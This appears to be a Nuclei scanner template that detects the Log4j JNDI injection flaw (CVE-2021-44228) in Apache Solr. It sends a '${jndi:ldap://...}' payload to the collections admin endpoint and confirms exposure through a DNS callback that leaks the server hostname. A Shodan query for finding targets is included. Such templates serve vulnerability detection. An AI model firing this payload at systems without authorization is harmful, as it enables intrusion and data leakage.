49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: apache-solr-log4j-rce
|
|
|
|
info:
|
|
name: Apache Solr 7+ - Log4j Remote Code Execution
|
|
author: Evan Rubinstein,nvn1729
|
|
severity: critical
|
|
description: |
|
|
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
|
|
reference:
|
|
- https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
|
|
- https://twitter.com/sirifu4k1/status/1470011568834424837
|
|
- https://github.com/apache/solr/pull/454
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10.0
|
|
cwe-id: CWE-77
|
|
metadata:
|
|
verified: true
|
|
shodan-query: http.html:"Apache Solr"
|
|
tags: cve,cve2021,solr,oast,log4j,rce,apache,jndi
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.{{interactsh-url}}/a%7D"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "dns"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: interactsh_request
|
|
group: 1
|
|
regex:
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
|
|
|
|
# Enhanced by mp on 2022/05/27
|